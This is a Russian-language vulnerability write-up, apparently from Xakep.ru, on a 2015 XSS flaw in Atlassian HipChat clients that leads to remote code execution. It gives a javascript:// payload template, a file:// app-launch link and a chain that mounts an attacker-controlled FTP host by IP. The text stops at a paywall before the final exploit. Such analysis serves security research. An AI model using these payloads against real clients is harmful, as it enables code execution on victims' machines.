CVSSv2
N/A
BRIEF
Дата релиза: 12 ноября 2015 года
Автор: Matt Austin
CVE: N/A
Atlassian HipChat представляет собой веб-сервис для общения как внутри команды, так и один на один. Причина его популярности — плотная интеграция с остальными продуктами Atlassian, а также с другими популярными сервисами для разработчиков (GitHub, Heroku и подобными).
Для рендеринга таких объектов, как изображения, видео и смайлы, клиент HipChat использует встроенный движок WebKit. В клиентах для OS X, Windows и iOS при обработке URL-адресов текст, содержащий javascript:
, неправильно конвертируется и превращается в ссылки. Несмотря на то, что это обычная уязвимость типа XSS, в нашем случае она, благодаря тому что позволяет получить доступ к локальным файлам, приводит к удаленному выполнению кода.
Клиент изучает входящие сообщения на наличие данных, которые нужно обработать. К примеру, он поддерживает популярные протоколы, такие как http://
, ftp://
и file://
. Помимо этого, парсер обрабатывает любую конструкцию типа любое_слово://
или любое_слово:/любое_слово
и превращает ее в кликабельную ссылку.
В связи с этим возникает небольшая проблема: так как обработчик ждет символ /
после двоеточия, то наш JavaScript-код будет начинаться с /
. Решение — добавить второй слеш и символ перевода на новую строку. В результате мы получим строку с комментарием и за ним строку с нашим кодом.
javascript://some_comment%0aANY_JAVASCRIPT
Продолжим анализ. Когда мы кликаем ссылку, HipChat пытается ее открыть с помощью браузера, установленного по умолчанию. Это происходит, потому что ссылка передается операционной системе. То есть, нажав на ссылку вида http://...
, мы в большинстве случаев откроем ее в веб-браузере. Но что произойдет с file://
? Система запустит его. В итоге мы можем с помощью XSS выполнить приложение.
file:///Applications/Calculator.app
К сожалению, это будет работать только с приложениями на удаленном компьютере и не позволяет нам передать аргументы.
EXPLOIT
Получается, что нам нужно запустить или собственное приложение, или скрипт, то есть необходим файл, который можно контролировать и который находится в известном месте.
В этом нам поможет особенность обработки FTP-ссылок. Если такая ссылка содержит имя пользователя и пароль, то OS X, к примеру, автоматически подключится к FTP и смонтирует его как отдельный раздел.
Соединяемся, к примеру, с ftp://anonymous:x@104.131.88.251/
. В случае успеха получим file:///Volumes/104.131.88.251/
.
В итоге получим следующий эксплоит:
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»